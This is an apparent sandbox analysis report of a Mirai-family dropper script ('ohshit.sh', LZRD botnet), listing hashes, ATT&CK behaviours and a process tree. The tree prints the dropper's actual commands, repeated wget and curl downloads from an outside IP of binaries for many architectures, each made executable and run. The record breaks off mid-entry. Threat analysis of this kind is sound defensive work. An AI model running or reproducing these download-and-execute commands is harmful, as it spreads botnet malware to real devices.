mirai | ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc

Analysis

max time kernel
114s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250619-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/12/2025, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ohshit.sh
Size 3KB
Sample251204-hatb6abz7b
SHA256 ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc
MD5 7246ce795caea2cad9dcc42549721b2c
SHA1 e7f8d5fa19cf1f0ceb18f77bbb479b4e2102dbd7
SHA512 4ea28aaf001425a9aefefd8b0b7d4b4a71acf5f60618ef3d56a149db539d47f44c40ed2d56c7814de5dff9ffa66cb95b92dc48d5874d3c942d76b3892db9be4a
MD5 SHA1 SHA512

Score

10^/10

botnet lzrd defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1605	chmod
1675	chmod
1645	chmod
1665	chmod
1543	chmod
1553	chmod
1595	chmod
1625	chmod
1635	chmod
1655	chmod
1537	chmod
1563	chmod
1573	chmod
1583	chmod
1615	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1538	ohshit.sh
/tmp/Chaotic	1544	ohshit.sh
/tmp/Chaotic	1554	ohshit.sh
/tmp/Chaotic	1564	ohshit.sh
/tmp/Chaotic	1574	ohshit.sh
/tmp/Chaotic	1584	ohshit.sh
/tmp/Chaotic	1596	ohshit.sh
/tmp/Chaotic	1606	ohshit.sh
/tmp/Chaotic	1616	ohshit.sh
/tmp/Chaotic	1626	ohshit.sh
/tmp/Chaotic	1636	ohshit.sh
/tmp/Chaotic	1646	ohshit.sh
/tmp/Chaotic	1656	ohshit.sh
/tmp/Chaotic	1666	ohshit.sh
/tmp/Chaotic	1676	ohshit.sh

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/958/status	Chaotic
File opened for reading	/proc/1525/status	Chaotic
File opened for reading	/proc/1584/status	Chaotic
File opened for reading	/proc/489/status	Chaotic
File opened for reading	/proc/1041/status	Chaotic
File opened for reading	/proc/169/status	Chaotic
File opened for reading	/proc/1081/status	Chaotic
File opened for reading	/proc/553/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/1559/status	Chaotic
File opened for reading	/proc/482/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/175/status	Chaotic
File opened for reading	/proc/1579/status	Chaotic
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/170/status	Chaotic
File opened for reading	/proc/181/status	Chaotic
File opened for reading	/proc/999/status	Chaotic
File opened for reading	/proc/486/status	Chaotic
File opened for reading	/proc/98/status	Chaotic
File opened for reading	/proc/979/status	Chaotic
File opened for reading	/proc/1357/status	Chaotic
File opened for reading	/proc/684/status	Chaotic
File opened for reading	/proc/213/status	Chaotic
File opened for reading	/proc/478/status	Chaotic
File opened for reading	/proc/420/status	Chaotic
File opened for reading	/proc/1659/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/485/status	Chaotic
File opened for reading	/proc/86/status	Chaotic
File opened for reading	/proc/1549/status	Chaotic
File opened for reading	/proc/1259/status	Chaotic
File opened for reading	/proc/559/status	Chaotic
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/916/status	Chaotic
File opened for reading	/proc/1054/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/79/status	Chaotic
File opened for reading	/proc/585/status	Chaotic
File opened for reading	/proc/1075/status	Chaotic
File opened for reading	/proc/180/status	Chaotic
File opened for reading	/proc/1062/status	Chaotic
File opened for reading	/proc/1029/status	Chaotic
File opened for reading	/proc/531/status	Chaotic
File opened for reading	/proc/983/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/176/status	Chaotic
File opened for reading	/proc/1059/status	Chaotic
File opened for reading	/proc/30/status	Chaotic
File opened for reading	/proc/1531/status	Chaotic
File opened for reading	/proc/1164/status	Chaotic
File opened for reading	/proc/115/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/919/status	Chaotic
File opened for reading	/proc/420/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/413/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/180/status	Chaotic
File opened for reading	/proc/327/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1581	curl
1570	wget
1571	curl
1580	wget

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1528
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1536
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1540
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1542
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1544
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1550
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1554
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1560
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1564
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1574
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1580
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1581
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-timedated.service-nyxOzS ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1590
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1602
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1606
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1612
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1613
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1615
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1616
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1622
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1625
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1626
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1632
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1636
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1642
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1646
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1652
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1653
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1655
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1656
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1662
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1663
- /bin/chmod
